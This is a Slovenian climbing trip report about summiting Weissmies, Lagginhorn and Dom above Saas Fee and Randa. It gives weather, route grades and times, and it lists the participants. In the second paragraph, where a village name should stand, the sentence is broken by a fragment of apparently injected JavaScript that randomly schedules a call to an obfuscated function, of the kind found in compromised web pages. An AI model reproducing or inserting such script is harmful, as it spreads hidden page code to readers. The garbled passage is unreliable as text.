Letošnje klavrno poletje je vseeno ponudilo par oken lepega vremena, kjer je bilo možno zlesti tudi na kakšen štiritisočak centralnih Alp. Uspeli so celo trije. Prvi od teh je bil Weissmies, kopasta gora prekrita z debelim ledenikom nad Saas Fee-jem s svojimi 4023mnm. Izbrali smo jo za aklimatizacijo pred “resnejšimi” naslednjimi vzponi. Vreme nas je žal tudi na tej poti spominjalo katerega leta smo, saj se je po obetavnem jutru pooblačilo, spustile so se megle, pihalo je in snežilo, kot bi bili januarja nekje v Julijcih, pa smo bili 15. avgusta. Vseeno smo  kljub slabim razmeram glede na nezahtevnost poti v slabi vidljivosti in vetru dosegli vrh brez večjih težav. Naslednji dan je bilo vse drugače. Jasen dan in popolno plačilo za vremensko razočaranje prejšnjega dne – povzpeli smo se še na sosednji 4010 m visoki Lagginhorn. Možnih je več dostopov, izbrali pa smo klasiko, ki spodaj preči dolgo snežišče, nato pa se po (to poletje izjemoma snežnem) grebenu (mesta do 45°) zelo slikovito povzpne proti vrhu. Malo zahtevnejša tura z izjemnimi razgledi na okoliške gore in predvsem na silhueto Doma, kar se že navezuje na naslednjo zgodbo…
Odlično aklimatiziran del prve odprave v Švico, se tja čez dva tedna odpravi še drugič. Cilj je Dom 4545 mnm, najvišji vrh ki v celoti leži v Švici. Štartamo iz Random() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}ande na 1300mnm in prvi dan uspemo do koče Domhutte na 2900m. Drugi dan ob 4h zjutraj sledi 12h težkega dela, vendar v krasnih pogojih. Izredno dolgo vzpenjanje že prve ledeniške morene, potem še daljši ledenik, plezarija čez skalni skok (II), ter nato še 800m grebena ki v prvi polovici ne pade pod 45°, mestoma pa doseže 55°, precej izpostavljenih nad ledeniške razpoke. Sicer pa je pot/gaz glede na število obiskovalcev odlično narejena oz. naštamfana, tako da je vzpon objektivno precej varen. Trije člani po 7h urah končno dosežemo vrh, za katerega se je nekaj časa zdelo da ga nebo, pa je le prišel. Zaradi precej padavin letos je zelo ošiljen, z malo prostora, vendar izjemnimi razgledi… Matterhorn gledaš z vrha. Zanimivo. Sestopimo naokoli po še daljšem ledeniku in dodobra zdelani popadamo v kočo okrog 16h. Sledi še ena noč v Domhutte in naslednji dan težkih nog nazaj v dolino in proti domu. Izjemna tura v vseh pogledih. Predvsem kondicijsko zahtevna.

Pristopniki na prva dva vrha Metod in Mitja, na Dom Jernej Zavrtanik, Meta Trampuž, Martin Jug in Dominik Mikuž, zadnja dva sva bila na vseh naštetih vrhovih.

Dominik Mikuž